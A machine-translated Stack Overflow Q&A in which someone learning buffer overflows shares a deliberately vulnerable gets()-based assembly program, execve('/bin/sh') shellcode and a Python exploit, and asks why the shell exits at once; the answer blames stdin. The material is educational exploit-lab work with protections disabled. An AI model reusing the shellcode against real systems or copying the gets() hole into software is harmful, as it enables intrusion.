security - 简单堆栈溢出的 Shellcode : Exploited program with shell terminates directly after execve ("/bin/sh")

标签 security assembly buffer-overflow shellcode

我在 Linux (amd64) 上尝试了缓冲区溢出并尝试利用一个简单的程序,但失败了。我禁用了安全功能(使用 sysctl -w kernel.randomize_va_space=0 和 BIOS 中的 nx 位进行地址空间布局随机化)。它跳转到堆栈并执行 shellcode,但不会启动 shell。 execve 系统调用成功,但随后它就终止了。知道出了什么问题吗?独立运行 shellcode 效果很好。

额外问题:为什么在调用 printf 之前需要将 rax 设置为零? (见代码中的注释)

易受攻击的文件buffer.s:

.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
    push %rbp
    mov %rsp, %rbp

    sub $120,  %rsp

    # calling printf without setting rax
    # to zero results in a segfault. why?
    xor %rax, %rax 
    mov %rsp, %rsi
    mov $.fmtsp, %rdi
    call printf

    mov %rsp, %rdi
    call gets

    xor %rax, %rax
    mov $.fmtjump, %rdi
    mov 8(%rbp), %rsi
    call printf

    xor %rax, %rax
    leave
    ret

shellcode.s

.text
.global main
main:
    mov $0x68732f6e69622fff, %rbx
    shr $0x8, %rbx
    push %rbx
    mov %rsp, %rdi
    xor %rsi, %rsi
    xor %rdx, %rdx
    xor %rax, %rax
    add $0x3b, %rax
    syscall

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output

编译:

$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s

开始于:

$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328

使用 gdb 进行调试:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash

Program exited normally.

最佳答案

我现在在虚拟机中使用 Ubuntu 9.10 时遇到了几乎相同的问题。 禁用操作系统的所有安全措施,并且像“退出程序并将退出代码设置为 42”这样的简单漏洞确实有效,但当尝试打开 shell 时,程序就会终止。 gdb 的输出是相同的:

(gdb) run < exploit.0xbffff3b8 
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8

Enter password: Sorry. Wrong password.
Executing new program: /bin/bash

Program exited normally.
(gdb)

事情是,我需要它在大约。 16 小时的演示:-D

<小时/>

更新: 我发现了这个巧妙的研究:www.shell-storm.org/papers/files/539.pdf

第 16 页上写着: “如果我们尝试执行 shell,它会在此配置中立即终止”

在其他不使用 gets() 的示例中,它们很好地生成了 shell。不幸的是,他们没有暗示为什么它不能那样工作。 :(

<小时/>

下次更新: 看来它与标准输入有关。 shell 无法正确使用从原始进程获取的进程。我尝试使用一个最小的 shell,我找到了 (evilsh) 的源代码。它在尝试读取输入时崩溃了。我的猜测是,bash/dash 会检查这一点,并在标准输入出现问题时默默退出。

<小时/>

好吧,请不要因为我在这里与自己对话而杀了我,但是......

我找到了解决方案!

由于某种原因,有必要重新打开输入。我在这里找到了一个有效的 shellcode:

http://www.milw0rm.com/shellcode/2040

我没有看到提示,但我可以使用打开的 shell 运行程序等。

关于security - 简单堆栈溢出的 Shellcode : Exploited program with shell terminates directly after execve ("/bin/sh"),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/2859127/

相关文章:

c - 如何防止scanf导致C中的缓冲区溢出?

asp.net - 扩展成员(member) API、MembershipUser

java - 防止java web应用程序中的xss攻击,同时将实际值保存在数据库中

gcc - 使用未对齐的缓冲区进行矢量化 : using VMASKMOVPS: generating a mask from a misalignment count? 或者根本不使用该 insn

assembly - 为什么x86-64/AMD64 System V ABI要求16字节堆栈对齐?

c - 如果你的栈和堆是不可执行的,你的代码怎么跑?

c - 当我为 put() 函数输入断点时,为什么 GDB 不允许我输入输入?

security - WWW 与非 WWW——最佳实践是什么?我需要为我的新 SSL 证书选择一个

c - 如何利用set-guid(即设置组标识)漏洞来执行权限有限的文件?

assembly - 汇编语言中的数字地址